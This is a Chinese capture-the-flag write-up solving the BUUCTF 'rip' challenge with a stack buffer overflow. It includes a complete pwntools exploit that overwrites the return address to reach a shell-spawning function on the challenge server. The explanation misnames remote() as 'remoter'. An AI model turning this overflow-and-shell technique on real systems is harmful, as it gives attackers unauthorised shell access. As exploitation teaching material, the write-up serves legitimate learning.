BUUCTF之rip
题目如下
首先下载下来文件后,使用checksec查看开启了哪些保护
直接放入IDA里面查看
建议不要过于依赖f5,这道题的反汇编代码非常简单,关键就在于gets,直接双击s查看
15个字节便可以直接拿下返回地址了,现在已经知道溢出的长度,只需要找到系统调用,这道题应该就可以完成
在main函数的下面可以看到一个fun函数,已经标注出来了是一个系统调用
故而可以得到
payload = "A" * 15 + p64(0x401186)
直接上exp
from pwn import * r = remote("node4.buuoj.cn", 27663) payload = "A" * 15 + p64(0x401186) r.sendline(payload) r.interactive()
简单介绍一下上面代码的意思
from pwn import * :这个学过python都知道吧,调用pwntools
remoter( , ):相当于就是远程连接,remoter函数可以直接连接url并且指定端口
sendline():发送一行数据,并且在末尾加上换行符\n
interactive():最后这个就是与shell交互,这样就可以操作获得flag
成功获得flag
总的来说,我感觉这道题就是典型且最基础的栈溢题目,只要搞懂栈溢出,这道题还是相当简单的ヾ(≧▽≦*)o